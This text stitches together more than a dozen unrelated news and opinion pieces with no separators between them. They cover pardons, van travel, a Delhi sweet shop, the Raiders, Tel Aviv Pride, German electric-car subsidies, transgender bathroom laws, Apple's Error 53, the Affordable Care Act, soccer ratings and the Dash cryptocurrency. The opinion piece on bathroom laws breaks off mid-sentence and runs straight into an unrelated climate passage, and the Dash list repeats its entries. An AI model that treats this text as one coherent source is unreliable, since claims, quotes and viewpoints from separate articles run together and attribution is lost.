Stroud concludes, "These alterations in stress hormones, stress response, and DNA may explain links between moms' smoking during pregnancy and the risk for their children to have behavior problems and nicotine addiction in later life. Our results offer one more reason for mothers to quit smoking, and also highlight the need for early intervention with babies born to mothers who smoke during pregnancy and the mothers themselves."WASHINGTON, DC – Congressman Raja Krishnamoorthi today wrote to White House Counsel Donald F. McGahn, calling on him to publicly disclose all pardons issued by President Trump. Rep. Krishnamoorthi's letter comes in response to the Washington Post’s report that President Trump and his legal team have explored his power to pardon as a means of disrupting Special Counsel Robert Mueller’s investigation of Russian interference in the 2016 election. The signed letter is available here and the text follows:
July 21, 2017
The Honorable Donald F. McGahn, II
Counsel to the President
The White House
1600 Pennsylvania Avenue
Washington, DC 20006
Dear Mr. McGahn:
It was reported on July 20, 2017, that President Trump has asked his legal team about the extent of his pardon powers: whether they extend to White House aides, family members, or even the President himself.
While most pardons are handled by the Office of the Pardon Attorney, the President still retains the right to issue pardons to any person, at any time, for any cause. The Office of the Pardon Attorney makes their documents available, but there is no guarantee that all pardons issued by the President will be made public. The President can grant pardons after an individual has been incarcerated, before the sentence is imposed, or – as President Ford’s pardon of President Nixon confirms – before a charge is brought.
The power of the pardon extends far beyond the individual who receives it. An individual with a secret pardon has a pre-emptive grant of immunity from prosecution and is under no obligation to make that fact public until charges are brought. This person would be unlikely to cooperate with an ongoing investigation or testify against co-conspirators in exchange for leniency.
Special Prosecutor Mueller’s investigation into Russian interference in the 2016 election is a matter of utmost importance to the health of our Republic. Americans deserve to know the full extent of this meddling and the harm it caused. Those who aided and abetted it must be brought to justice. Pre-emptive pardons will only serve to further obfuscate the truth behind a fog of deceit.
I respectfully ask that you commit to making public all pardons issued by the President. Robert Mueller’s team – and all Americans – need to know who will be cooperating with the ongoing investigation
Sincerely,
Raja Krishnamoorthi
Member of CongressSwedish pro skier Jacob Wester and his girlfriend, photographer Sofia Sjöberg, are what couples’ dreams are made of.
For the eight summers prior to 2016, on top of extensive winter expeditions, they’ve been traveling the world and seeing some of the very best sights out there. From the U.S. to Australia to Indonesia, they’ve done more in their 20s than most people do in their entire lives. And they often execute these travels in pimped out vans of sorts, making them all the better.
The traveling couple. Photo courtesy of Wester and Sjöberg.
“Sleeping almost wherever you want, waking up at the same places as people who spend hundreds of dollars on hotels, being surrounded by nature at all times, showering in rivers and making bonfires at the beach… The freedom that living in a van brings you is amazing,” says Sjöberg. “New people, new places and new views everyday.”
Sipping an afternoon coffee at a secret Swedish surf spot. Photo courtesy of Wester and Sjöberg.
The power couple’s traveling wisdom taught them many things over the years, and one of the most profound realizations was that they hadn’t even fully explored their own nation, Sweden. So, this summer, they changed that.
“Sofia and I agreed that it was finally time to actually discover what summer is like in our home country of Sweden. We couldn’t think of a better way to do it than in our own homebuilt van, with no real plans but to follow the smallest, most insignificant roads and find out what’s around the next corner.”
That van Wester speaks of is a sleek and solid ’00 Renault Master the couple totally built out for the best road trip ever. And even though they didn’t exactly know what they were doing at first, it all worked out in the end.
“We bought it, rebuilt it by trial and error, as we knew nothing about carpentry, plumbing or electric work, and tried it out during the winter. In the middle of June, we decided it was time for our first summer camp trip across Sweden.”
Kicking it in the ’00 Renault Master. Photo courtesy of Wester and Sjöberg.
Yeah, van life is a really popular “trend,” per se, that millenials are trying out these days. But Wester and Sjöberg weren’t just giving it an aimless go; they totally crushed it all summer long, and fortunately documented every bit of it along the way. Above, enjoy a 22-photo gallery from the trip, as well as some final thoughts from the oh-so-wise Wester, below.
“It quickly becomes clear that once you fully immerse yourself in the free camping lifestyle, there is no going back,” he says. “There’s something to cherish in every moment, like proudly admiring your carpentry in the wooden ceiling panels while falling asleep, or the euphoric joy in watching perfect little summer waves breaking down the point you’re parked in front of, while waxing up a surfboard. With a growing realization that us humans one day might not afford airline travel for environmental reasons, we take comfort in knowing this kind of life will still be possible.”
Related: This 1966 Mercedes-Benz school bus wants to take you skiing in ArgentinaA photo posted by Delhifoodie (@delhifoodie) on Feb 21, 2014 at 10:09pm PST
A photo posted by Utkarsh Thakur (@theutkarshthakur) on Jan 8, 2015 at 2:52am PST
When Lala Sukh Lal Jain arrived in Dilli from Amer in 1790, and started selling his Mishri Mawa on a push cart, he perhaps could never have imagined that his business would transition into one of not just Chandni Chowk’s but Delhi’s most legendary sweet shops. With a rich history of almost 225 years, Ghantewala has catered to Prime Ministers, foreign delegations and even Mughal emperors.This iconic restaurant in Chandni Chowk has not been an attraction just for Delhi-ites, but for tourists from all over the world. Its desi ghee-drenched treats and creamy halwas like Sohan Halwa and Karachi Halwa have healed many broken hearts and stood the test of time. But all good things do come to an end and so has the life of Ghantewala.To the disappointment of its loyal customers, Ghantewala shut its doors last Wednesday and put a stop to its unparalleled history of almost 225 years. It has caused such deep disappointment in the food community that fans are urging entrepreneurs to buy it out to keep the legacy alive.The story of its refreshingly uncommon name, which is definitely tied to a ‘ghanta’ (bell), is as old as the shop itself. Some say that since the ‘halwai’ (seller) was located opposite a school, each time the bell would ring, it could be heard down till the Red Fort where the Emperor Shah Alam would,upon hearing it, summon his servants to fetch him some sweets from “ghante ke niche wala halwai” (shop under the bell).Over the decades, the shop has only grown in terms of its menu and its loyal following! While the founder began by selling only one item Mishri Mawa, a Rajasthani sweet, today Ghantewala also sells other savoury snacks like Samosas, Kachoris, Namkeen, Makhan Choora, Dalmoth and the list goes on. Never bowing down to contemporary food trends, this restaurant will always remain symbolic of the capital’s saccharine past and will always occupy a very special place in all of our hearts.For the moment, the Oakland Raiders have no travel plans, and they’re out of frequent-flier miles.
They’re not going anywhere.
Mark Davis, the team’s managing partner, won’t promise that the Raiders will be here for long, but it feels more like wounded pride than a preferred business option. St. Louis is the team’s only immediate option — but the Raiders aren’t interested, and who can blame them? It’s the equivalent of your parents arranging your prom date.
After years and years of making unreasonable infrastructure demands and periodically threatening to leave town, the Raiders don’t hold leverage or bargaining power over anyone. Not over Oakland city officials, not over their NFL owner colleagues and not over fans. Even with the resurgence the team saw this year, the Raiders’ average attendance was the third-lowest in the league.
It’s been 21 years since Oakland wooed the Raiders back from Los Angeles, and the shoe is now officially on the other foot.
Oakland is booming — and while it may be a perpetual departure point for the Raiders, it’s a destination point for damned near everyone else. Mayor Libby Schaaf holds the cards now, and she is playing her hand — and quite well.
Her position on public financing was no bluff, and she called it: In the end, the Raiders didn’t hold a winning hand.
Shrewd negotiator
When you consider the way she has handled negotiations with the team, maintaining an intractable position on public financing while leaving the door open for other proposals, you gotta believe she’s a good mom, too.
All the signs are there: The basic stuff is non-negotiable, but she’s not spiteful, gloating or unwilling to listen.
The Raiders, sensing their slim chances on Tuesday, withdrew their request to move before NFL owners voted 30-2 to approve the St. Louis Rams’ move to a new $1.86 billion football stadium in Los Angeles County.
But when owners shut the door on the Raiders’ L.A. dreams, Schaaf opened a window.
She didn’t roll over on the team’s demand for total control of the Coliseum — where the A’s play, too — but offered some consolation: a “favorable” long-term lease agreement that includes nearly 60 acres of additional land available for development to generate private revenue for a new stadium proposal.
Schaaf’s offer includes a plan to retain 8,000 of 9,500 parking spots, essential for the Sunday tailgate parties fans love.
The mayor’s offer, coupled with $100 million in league funds toward the construction of a new Raiders stadium in Oakland, is enough for Davis to absorb the recent disappointment, set his pride aside and consider the only proposal that’s now before him.
With a previous team commitment of $500 million for new stadium construction, the financing gap in an estimated $1 billion stadium deal is narrowing — and that’s good news.
It’s a serious offer, admittedly the first from the city in quite a while, but it deserves consideration.
Schaaf described her proposal as “a partnership to ensure any development creates a revenue stream for the team and complements” the football venue, she said Wednesday.
Team on the rise
The team’s performance has improved dramatically under new head coach Jack Del Rio, and with the San Francisco 49ers’ move to Santa Clara, the Raiders are the last team standing in the inner metro area.
If they can cool their heels — and maintain their cool — they could end up with exactly the arrangement they are looking for.
Because, when it comes right down to it, Oakland City Hall has placed a higher priority on keeping the Oakland A’s in town than the Raiders.
Of course they will never admit that, but it’s true.
The city has identified five possible stadium locations for the A’s, and is pushing for a downtown ballpark at the site of the Howard Street Terminal on the city’s waterfront.
That location is well within the radius of the building boom that is rapidly changing the face of downtown Oakland, and investment dollars are flowing.
A’s owner Lew Wolff remains unsold on the site because of substantial remedial costs involved in preparing it for construction, but if we can build it, the people will come.
Perched on a gorgeous waterfront, it has the potential to be one of the more picturesque baseball stadiums in the country.
It’s a big “if,” but were a plan approved in the next few years, the Raiders could find themselves with their very own stadium, new retail and entertainment venues nearby, and absolutely nothing to worry about but the team’s return march to glory.
Chip Johnson is a San Francisco Chronicle columnist. His column runs on Tuesday and Thursday. E-mail: chjohnson@sfchronicle.com Twitter: @chjohnsonDear Reader, As you can imagine, more people are reading The Jerusalem Post than ever before. Nevertheless, traditional business models are no longer sustainable and high-quality publications, like ours, are being forced to look for new ways to keep going. Unlike many other news organizations, we have not put up a paywall. We want to keep our journalism open and accessible and be able to keep providing you with news and analysis from the frontlines of Israel, the Middle East and the Jewish World.
A record-breaking 100,000 people from Israel and abroad took part in the annual Tel Aviv Gay Pride Parade Friday, which took place as planned despite the arrests made earlier in the week in connection to the 2009 shooting at the LGBT youth center Bar Noar.
Thousands of people crammed into Gan Meir park in central Tel Aviv as the festivities got under way with a community "happening," complete with music performances, stalls representing local organizations and speeches from public figures such as Tel Aviv Mayor Ron Huldai, Finance Minister Yair Lapid, Justice Minister Tzipi Livni, Culture and Sport Minister Limor Livnat, opposition leader Shelly Yacimovich and Meretz leader Zehava Gal-On.
gay pride 2013 sailors 370. (photo credit: Niv Elis) Gay pride 2013 gan meir 370. (photo credit: Yoni Cohen) Gay pride 2013 beach party 370. (photo credit: Lauren Izso) Gay Pride Parade 2013 Tel Aviv 370. (photo credit: Hadas Parush) Gan Meir Pride 2013 370. (photo credit: Yoni Cohen) Anglo LGBT groups at Gay Pride, Tel Aviv, June 7, 2013.. (photo credit: Yoni Cohen) Gay Pride, Tel Aviv, June 7, 2013.. (photo credit: Julie Steigerwald) Gay Pride 2013 Tel Aviv Gan Meir 370. (photo credit: Hadas Parush) Rainbow flag. (photo credit: Ziv Shemesh)
Despite the festive atmosphere not all of the speakers were given a warm welcome. When Lapid, who was the first high-ranking politician to speak, took the podium, he was unable to begin his speech and was met with booing and heckling from the crowd.Audience members chanted "There is no future with Lapid and Bibi," in a reference to Lapid's party name, Yesh Atid, that means "There is a future." Lapid stood in silence on the stage waiting for the chanting crowd to allow him to speak. Event organizers pleaded with some of the hecklers to allow the politician to speak.Eventually Lapid broke his silence and stated that "No screams and jeers will stop me from supporting the LGBT community."Once Lapid was able to begin his speech, the crowd became more responsive. Lapid said he came to the parade to talk about "the rights of gay people to marry and adopt children," adding that he was proud of the Israeli gay community and that the community should take pride in itself.Culture and Sport Minister Limor Livnat, who was the first ever official representative from the Likud party to speak at the Pride event, was also booed when she took to the stage. "I came here today with love and pride, and I expect you to accept it," she told the heckling crowd."I will continue with my love and pride even if there will be some shouting, and I am proud of the Likud's gay pride group," she continued. "You ought to want a group like that in all of the political factions, and not come here to spew hate."
Join Jerusalem Post Premium Plus now for just $5 and upgrade your experience with an ads-free website and exclusive content. Click here>>An electric Volkswagen Passat car is pictured at charging station at a VW dealer in Berlin, Germany, February 2, 2016. REUTERS/Fabrizio Bensch
BERLIN (Reuters) - Germans could get up to 5,000 euros ($5,500) to buy an electric car under government proposals which involve the auto industry shouldering 40 percent of the cost, government sources told Reuters on Friday.
Germany has a goal of 1 million electric cars on its roads by 2020, but has so far made little progress in encouraging drivers to switch from mostly cheaper diesel and petrol models.
The incentive plan, which was put together by the environment, transport and economy ministries, still needs approval from the finance ministry which wants a funding concept for the 1.3-billion-euro plan that doesn’t cut into the budget.
Under the proposal seen by Reuters, businesses would receive premiums of 3,000 euros for each electric car under a program that runs to 2020. Incentives will fall by 500 euros each year.
“We were not party to these plans and government consultations on this are still ongoing,” a finance ministry spokesman said on Friday.
Among German carmakers, BMW, Daimler’s Mercedes and Volkswagen (VOWG_p.DE) produce all-electric cars, while Audi and Porsche also have plans to build their own.Springsteen describes North Carolina's "bathroom law" as a human rights violation, and "as an attempt by people who cannot understand the progress our country has made in recognizing the human rights of all of our citizens to overturn that progress... [i]t is a time for me and the band to show solidarity for those freedom fighters."
If Mr. Springsteen and others who think like him (like Governor Andrew Cuomo) are fighting for freedom, it might be a good idea for them to know exactly what it is they are fighting for. It might be a good idea to examine if what they are supporting is a human rights issue actually worth being righteously indignant about.
It might even be a good idea to take an up close and personal look at one of the "freedom fighters" with whom he and his righteous band of brothers are expressing "solidarity."
For as it turns out, one of these "freedom fighters" recently bravely invited an up close view of himself by appearing au naturel in a women's locker room in the state of Washington. According to Christian Today, the man undressed in front of women, asserting the right to do so under the state's transgender bathroom policy law. The guy was apparently inspired by the example of another valiant freedom fighter, a male who in 2012 paved the way for progress by lounging naked in a women's locker room that was frequented by girls as young as six.
Such are righteous "freedom fighters" in action? That's the social justice with which the left chooses to stand in solidarity?
That's a Rosa Parks moment?
No, it isn't.
There are inherent, deeply flawed assumptions behind this latest leftist gimcrackery posturing as a human rights issue. It's time to consider what is really going behind the "bathroom" bills.
It is past time to evaluate the campaigns against the religious freedoms of Christians and other people of faith who believe – as all civilizations of the past have that there is a clear and innate differentiation between men and women that cannot be erased by an act of will. The correlating belief is that there is a moral code of sexual behavior that cannot be abrogated or entirely discarded without disastrous consequences to any given society.
For one thing, behind the push for passing the "bathroom" bills is the utopian belief that this Earth must be made be a safe place for everyone, no matter what the identity of choice or the resultant behavior. The belief that no one should have his or her beliefs or actions controverted or challenged by anyone else, the idea that my real self is what I proclaim it to be, is derived from a utopianism that at heart is completely divorced from reality.
To insist you must have complete safety in any place at any time, including the bathroom of your choosing, is to believe that in this world the lion can lie down with the lamb and that you can handle serpents and they will not bite you. It is to believe the Cinderella fairy tale without the wicked stepmother, the Grimm stories without the grim. It is to believe you can expunge risk and even evil from this planet.
Such utopianism also requires us all to believe in the infallible and incontrovertible goodness of the individual inner voice, a voice that, because it is the divine discernment of one's true self, cannot be contradicted. It is to believe that that voice is always perfectly good and harmless to others.
But the blockade of inquiring or contradictory voices means the silencing of voices of protesters. It means profound intolerance bordering on tyranny, as no one is supposed to say anything contradictory to your voice. Let the whole Earth be silent so that never is heard a discouraging word.
We have seen this mad utopianism – demanding that each individual must be provided a perfectly safe place free from even another human being's opposing thoughts, thoughts that might contradict one's chosen identity – being avidly promoted on the campuses of our most prestigious universities. The result is that places formerly known for rigorous scholarly inquiry are rapidly becoming ideological hellholes devoid of the strenuous intellectual and spiritual endeavors necessary for the full development of the human being.
Therein lies a real problem: the arresting of human development. If the construction of "safe places" as currently defined and increasingly enforced by the left continues, bathrooms, churches, and universities will be increasing invaded and ruled by children who insist on being like Peter Pan, who never, ever grew up. Minds will become desiccated deserts, and spirits will atrophy, as they are narrowed into increasingly confined territories. People in safe and fenced in preserves, whether of their own making or made by others, will never become adults.
Becoming fully grown up means that one acknowledges not only that there are no completely safe places on this Earth, but also that danger and risk and controversy are necessary for growth. The current "safe" places being constructed are safe only for the few and the privileged. It means the construction of small enclaves in which everyone remains a kindergartner. It means that the few who attain their precarious "safety" do so by forcefully prohibiting differentiation of any kind.
Next, reducing what the meaning of being human entails invites tyranny. Preventing the conflict and risk necessary to growth means that Peter Pans will soon find they have leaders who are actually Lords of the Flies, leaders whose demands become ever more exacting and ever more divorced from reality.
Whether it be a society that permits humans to own other humans, one that categorizes entire groups of people as non-human, or a civilization that allows the extermination of innocent lives because of freedom of will, reducing the idea of what it means to be human is always a recipe for oppression.
Look at the fate of past societies that insisted on a safe utopia (safe for some, deadly for others). In the end, the perfect communist man never arrived, though millions died in order for a ruthless politburo to achieve the ideal. Nor was the racially pure übermensch ever brought forth, though millions died in order that the fantastical perfect Aryan might be born.
There are some inexorable truths that cannot be relativized, cannot be redefined by human will – though the human mind is capable of rationalizing just about anything. Human will, once it comes up against created reality and the inexorable and universal moral law of the cosmos, fails to triumph. That is because the highest morality and an access to universal truth does not lie within the autonomous and essentially anarchical individual will detached from transcendent truth.
The current mania for "gender-free" society unchained by individuation by sex involves more than reductionism, diminishment, or artificial inflation of human beings into either beasts or supermen. How ironic is it that the sexual revolution is now actually attempting to abolish the distinction between the sexes, thus achieving the distortion and eventual abolition of the human being?
Behind the idea of a gender-free society is a long held desire for a non-patriarchal and non-hierarchical society, the elimination of any distinctions being seen as true equality. But a gender-free society would be far more disastrous than those ideas of what it meant to be human preceding it, for such a society augurs the abolition of man – and woman. It means that human beings are relativized, are reduced to |
has to be now if we want a fighting chance at saving this world and the people who inhabit it. But with a climate-denier as president (and an administration who willfully ignores these devastating changes), the resistance will be tough.
But tackling climate change is a matter of life and death. It’s time for action now.Sam Ukwuachu, the one-time Baylor football player whose case helped ignite the still-raging firestorm of controversy over the school’s handling of sexual assaults involving athletes could find out soon if he’ll be granted a new trial.
Ukwuachu, who’s accused of raping a female athlete in 2013, is appealing his August 2015 sexual assault conviction.
KWTX learned Thursday that the Waco-based 10th Court of Appeals has scheduled oral arguments in the appeal for March 1.
Ukwuachu contends prosecutors intimidated a key witness in his case and used false information to convict him.
The one-time freshman All-American who transferred to Baylor, but never played for the school, was found guilty on Aug. 21, 2015, of the sexual assault.
Jurors decided to sentence him to 10 years’ probation and 54th District Judge Matt Johnson added a 180-day jail sentence and 400 hours of community service to the sentence.
Ukwuachu was released from jail in October 2015 after posting a $100,000 appeal bond.
Ukwuachu could have been sentenced to as much as 20 years in prison, and he’ll face that sentence again if he’s re-tried.
Ukwuachu, a defensive end from Pearland, transferred from Boise State University in 2013.
Because of the transfer, he was ineligible to play for the Bears in 2013 and then in 2014 was suspended.
A report published in Texas Monthly which set off much of the national firestorm surrounding Baylor’s football program claimed Ukwuachu “had been kicked off the Boise State team for an incident of violence involving a female student.”
But according to his transfer documentation, Ukwuachu was in good standing with Boise State at the time of his transfer, and a statement from Boise State’s administration later confirmed Ukwuachu was not dismissed from the team for any disciplinary reason, and said there were no reports to Boise State about such an incident.
Ukwuachu’s father told KWTX his son left because he was depressed and homesick, and wanted to be close to his parents, who live near Houston.NEWPORT BEACH, Calif. -- Authorities say an employee of the San Bernardino County District Attorney's Office was bloodied by an assailant while jogging in Newport Beach.
Police spokeswoman Jennifer Manzella tells The Orange County Register that the victim walked into gym around 5:50 a.m. Thursday and asked for help. Workers called police.
Manzella says the woman had a laceration on her head and possibly other injuries.
According to Newport Beach police, the woman was running when the suspect approached her from behind and attacked her, CBS Los Angeles reports.
"Not a little blood, covered in blood, like a bucket of blood was poured over her," said Ron Cary, a trainer at the gym.
Cary said the victim was barely able to walk.
"She was in shock, she was frantic, she was all over the place, rambling," Cary added. "She said, 'I'm in the middle of a murder trial, I'm on a murder trial, and I was attacked from behind.'"
Christopher Lee, a spokesman for the San Bernardino County DA, confirmed that a member of the office was involved but declined to say whether the person is a prosecutor.There's been a ton of online speculation — and condemnation — today. When contacted for comment, Apple provided the following explanation to iMore:
"We take customer security very seriously and Error 53 is the result of security checks designed to protect our customers," an Apple spokesperson told iMore. "iOS checks that the Touch ID sensor in your iPhone or iPad correctly matches your device's other components. If iOS finds a mismatch, the check fails and Touch ID, including for Apple Pay use, is disabled. This security measure is necessary to protect your device and prevent a fraudulent Touch ID sensor from being used. If a customer encounters Error 53, we encourage them to contact Apple Support."
Is this a new problem?
Some of this isn't new. Back when the iPhone 5s introduced Touch ID for the first time, former iMore editor Ally Kazmucha discovered there was hardware based security at the component level. That way, if someone took possession of your iPhone they couldn't bypass the encryption and get at your data. In other words, to protect us from both big and little brother.
What is new is the iOS 9 update causing "error 53" which, in defense of those who've received it, is completely opaque. As the old saying goes, security is at constant war with convenience, and it looks like some new check put in place as part of iOS 9 generates that error when it can't verify that hardware security is still intact.
Why is this only affecting third-party repairs?
It can actually affect any repair. If an error occurs following an Apple or Apple-certified repair, though, they can swap out the device for one that works, you can restore from backup, and everything is fine. With third-party repairs, not so much.
There are some complaints that about repairs not involving Touch ID that also cause the problem, though it's tough to rule out accidental damage. If true, though, it's possible Apple may need to fix the process so only the security system, and the security system alone, can trigger an error. And, of course, provide a more human-understandable error.
Why can't I override the security check? It's my phone!
Some have asked for an override that would let an owner opt-out of the security check. Unfortunately, once a "back door" exists, it exists for everyone. It's one of those things where security and usability clash, and why "fail safe" and "fail secure" are two very different things.
In other words, if you can override it, someone with bad intentions could override it as well.
Shouldn't Apple warn people about this?
In theory, absolutely. In practice, how and when Apple could provide such a warning is tougher to figure out. Putting in on-screen as part of the on-boarding process is unwieldy and doesn't scale. Putting it in fine print on the paper inside would likely be as good as no warning at all.
So what should I do?
If you live near an Apple Store or an Apple-certified store, go there. If you don't, and you can mail your device to Apple, consider that option. If you have the error 53 problem, contact Apple support.
If you've been affected by "error 53" let us know in the comments!Representative Mo Brooks, Republican of Alabama and a fierce critic of the Affordable Care Act, has just changed his tune. He now says: "My primary focus is on minimizing risk of insolvency and bankruptcy. There are many paths you can take to get there. Socialized medicine is just one of the component parts of our debt and deficits that put us at financial risk."
Translated: House Republicans are under intense pressure. A new Gallup poll shows the Republican Party now viewed favorably by only 28 percent of Americans, down from 38 percent in September. That's the lowest favorable rating measured for either party since Gallup began asking this question in 1992. The Democratic Party is viewed favorably by 43 percent, down four percentage points from last month.
So Republicans are desperately looking for a way of getting out of the hold they've dug for themselves -- and the president has given them one. He told them that if they agree to temporarily fund the government and raise the debt ceiling without holding as ransom the Affordable Care Act or anything else, negotiations can begin on reducing the overall budget deficit.
What's the lesson here? The radicals who tried to hijack America didn't understand one very basic thing. While most Americans don't like big government, Americans revere our system of government. That's why even though a majority disapprove of the Affordable Care Act, a majority also disapprove of Republican tactics for repealing or delaying it.
Government itself has never been popular in America except during palpable crises such as war or deep depression. The nation was founded in a revolution against an abusive government -- that was what the original Tea Party was all about -- and that distrust is in our genes. The Constitution reflects it. That's why it's hard for government to do anything very easily. I've never been as frustrated as when I was secretary of labor -- continuously running into the realities of separation of power, checks and balances, and the endless complications of federal, state, and local levels of authority. But frustration goes with the job.
No one likes big government. If you're on the left, you worry about the military-industrial-congressional complex that's spending zillions of dollars creating new weapons of mass destruction, spying on Americans, and killing innocents abroad. And you don't like government interfering in your sex life, telling you how and when you can have an abortion, whom you can marry. If you're on the right, you worry about taxes and regulations stifling innovation, out-of-control bureaucrats infringing on your freedom, and government deficits as far as the eye can see.
So when Tea Party Republicans, bankrolled by a handful of billionaires, began calling the Affordable Care Act a "wholesale takeover of American health care," many Americans were inclined to believe them. Health care is such a huge and complicated system, affecting us and our families so intimately, that our inherent distrust of government makes us instinctively wary. It's no accident we're still the only advanced nation not to have universal health care. FDR decided against adding it to his plan for Social Security because he didn't want to jeopardize the rest of the program; subsequent presidents never got close, at least until Obama.
The best argument for the Affordable Care Act is that our current health care system is so dysfunctional -- the most expensive in the world with the least healthy outcomes (highest infant mortality, shortest life spans, worst rates of chronic disease) of any advanced nation -- that we had no choice but to try to fix it. Even so, it's a typical American fix: We're still basing it on private health providers and private insurers. All government does is subsidize the poor, require insurers to take in people with pre-existing health problems, and pay for it by requiring everyone to be insured.
The Tea Party Republicans' mistake was to assume that Americans' distrust of big government, and, by extension, the Affordable Care Act, would allow them to ride roughshod over the process we have for making laws.
Their double-barreled threats to shut down the government and cause the United States to default on its obligations if the Affordable Care Act wasn't repealed or at least delayed was a direct assault on our system of government: If even unpopular laws can be gutted by a majority in one house of Congress holding the rest of government hostage, there's no end to it. No law on the books would be safe. (Their retort that Congress holds the "purse strings" and can therefore decide to de-fund what it dislikes is bunk; appropriation bills have to be agreed to by both houses and signed into law by the president, like any other legislation.)
While most of us distrust government, we're indelibly proud of our system of government. We like to think it's just about the best system in the world. We don't much like politicians but we canonize the Founding Fathers, the Framers of the Constitution. And we revere the fading parchment on which the Constitution is written. When we pledge allegiance to the United States we bind ourselves to that system of government. Anyone who seeks to overthrow or undermine that system is deemed a traitor.
And that's exactly what some Tea Partiers have began sounding like -- traitors to the system, radicals for whom the end they seek justifies whatever means they think necessary to achieve it. They began losing support even among Americans who had bought their view of the Affordable Care Act.
So they've had to back down, and soon, hopefully, we can move to the next stage -- negotiating over the size of government. That's should be stronger ground for the Tea Partiers. But the President, Democrats, and any moderate Republican who dares show his face can still gain ground by framing the question properly: The size of government is not the problem. It's who government is for. The best way to reduce future budget deficits is to ensure it's for all of us and not just a privileged few.
That means revenues should be raised from the wealthy, who have never been wealthier -- limiting their deductions and tax credits, closing loopholes like "carried interest," and taxing financial transactions. Spending should be cut by ending corporate welfare -- terminating tax subsidies to oil and gas, ballooning payments to agribusiness, sweetheart deals for military contractors, and the "too big to fail" subsidy for Wall Street's biggest banks. Future health-care costs should be contained by using the government's bargaining leverage over providers (through Medicare, Medicaid, and the Affordable Care Act) to force a shift from fee-for-service to payments-for-healthy-outcomes. And we should spend more on high-quality education and infrastructure for everyone.
Americans distrust big government, and always will. There's ample reason -- especially given the huge sums now bankrolling politicians, from a relative handful of billionaires, big corporations, and Wall Street. But we love our system of government. That's what must be strengthened.
By using tactics perceived to violate that system, the Tea Partiers have overplayed their hand. If they don't stop their recklessness, they'll be out of the game.Goalkeeper Alec Kann, 3: His heavy touch and slip while trying to make a pass led to D.C. United’s first goal. … Got down to his left to deflect a shot from close range in the 45th minute. … Punched away another shot just a few seconds later. … Took a knee to the jaw in the 50th minute, but he stayed in the game. … For the one mistake, it was his worst game this season.
Right fullback Tyrone Mears, 4: Able to easily get up and down his flank early, but that changed after the first 15 minutes. … Jumped over by Patrick Nyarko on a header that hit the bar. … Probably should have done better to try to block Nyarko’s goal. … No tackles, blocks interceptions or clearances.
Centerhalf Michael Parkhurst, 4: Really not much positive for anyone on Atlanta United’s defense because most of what D.C. United did came from the flanks.
Centerhalf Leandro Gonzalez Pirez, 4: Bad pass almost turned into a D.C. United goal in the 11th minute in a pattern that seems to keep happening with the team’s centerhalves.
Left fullback Greg Garza, 4: Like Mears, able to get up and down his flank early. … Wasted opportunity with cross right to Bill Hamid in ninth minute. … Solid volley through traffic in the 41st minute that Hamid had to dive to his left to save. No tackles, blocks, interceptions or clearances.
Holding midfielder Jeff Larentowicz, 6: One tackle, seven recoveries.
Holding midfielder Kevin Kratz, 4: Mostly invisible because so little of the action happened in the middle of the pitch.
Right midfielder Julian Gressel, 6: Scored his third goal this season on a tap-in in the 17th minute. Other than that …
Attacking midfielder Miguel Almiron, 5: Notched his fifth assist on Gressel’s goal… Tracked back to his own penalty box to stop a goal-scoring opportunity around the 40th minute. …
Left midfielder Yamil Asad, 5: Had team’s first scoring chance, forcing save from Hamid, around the 15th minute. … Picked up his MLS-best ninth assist on Gressel’s goal. … Hauled butt some 60 yards to be part of defense on counter-attack early in second half. …
Striker Hector Villalba, 4: Missed a chance in the 43rd minute from a tight angle. … Really quiet in three of the past four games.
SUBS
Josef Martinez (on for Gressel, 63rd minute), Had one decent chance on a free kick in the game’s final seconds.
Chris McCann (on for Larentowicz, 75th minute), NR:
Brandon Vazquez (on for Villalba, 75th minute), 5: Was on less than a minute and put a shot just wide. … Was lively in his few minutes.What is Dash?
DASH, otherwise known as Digital Cash, has a number of innovations that dramatically improve its ability to function as actual money. Formerly known as Darkcoin and XCoin, Dash is an open source peer-to-peer cryptocurrency that aims to be the most user-friendly, on-chain-scalable cryptocurrency in the world created by Evan Duffield.
Evan Duffield created Dash to combat three key issues he saw in the current Bitcoin (BTC) network: privacy, governance, and transaction speed. It’s made waves in the cryptocurrency space alongside competitors like Bitcoin, Litecoin, and Monero.
It started out with a forked Litecoin code base but later switched to the BTC code. It is similar to Bitcoin and Litecoin but offers many improvements and has a very active team of developers. Dash offers instant transactions (InstantSend), private transactions (PrivateSend) and operates a self-governing and self-funding model.
This enables the Dash network to pay individuals and businesses to perform work that adds value to the network. Dash’s decentralized governance and budgeting system make it a decentralized autonomous organization, or DAO.
With the growing popularity and uses for the digital currency, Dash achieved a $1 billion market cap in May 2017. Currently, Dash is the sixth largest cryptocurrency in terms of total market cap.
Dash Pros
Solid professional, community – The Dash community on Reddit is filled with helpful users and information from the most technical jargon to understanding the basics.
– The Dash community on Reddit is filled with helpful users and information from the most technical jargon to understanding the basics. PrivateSend – Dash has a private send ability so that users can send transactions that are untraceable. It enables users to mix funds with each other. The user’s wallets always have control over the coins at all times during private send mixing. When users start the mix, coins are denominated into 10, 1, 0.1, 0.01 Dash. A masternode then helps wallets connect to other random wallets that have also denominated their coins. Then they all send some Dash to each other in turn receiving the same amount they originally sent. The mixing is repeated with new sets of users various amounts of times. The whole mixing process could take several hours up to a few days. This time variance depends on how many other users are mixing.
– Dash has a private send ability so that users can send transactions that are untraceable. It enables users to mix funds with each other. The user’s wallets always have control over the coins at all times during private send mixing. When users start the mix, coins are denominated into 10, 1, 0.1, 0.01 Dash. A masternode then helps wallets connect to other random wallets that have also denominated their coins. Then they all send some Dash to each other in turn receiving the same amount they originally sent. The mixing is repeated with new sets of users various amounts of times. The whole mixing process could take several hours up to a few days. This time variance depends on how many other users are mixing. InstantSend – Ability to instantly send a transaction. Instead of waiting around for a few minutes for a bitcoin or litecoin transaction, InstantSend can complete in a few seconds.
– Ability to instantly send a transaction. Instead of waiting around for a few minutes for a bitcoin or litecoin transaction, InstantSend can complete in a few seconds. Incentivized masternodes – The masternodes solve the issue of centralization because there’s no centralization when nodes are paid. Dash’s masternodes are rewarded for their service. The network can simply scale with larger blocks. Dash gets rid of the congestion and high fees that are associated with the bitcoin network. Also, Bitcoin, Litecoin, Ethereum network pay miners 100% but nodes and devs run for free. Dash pays the miners, the nodes, and users to run development.
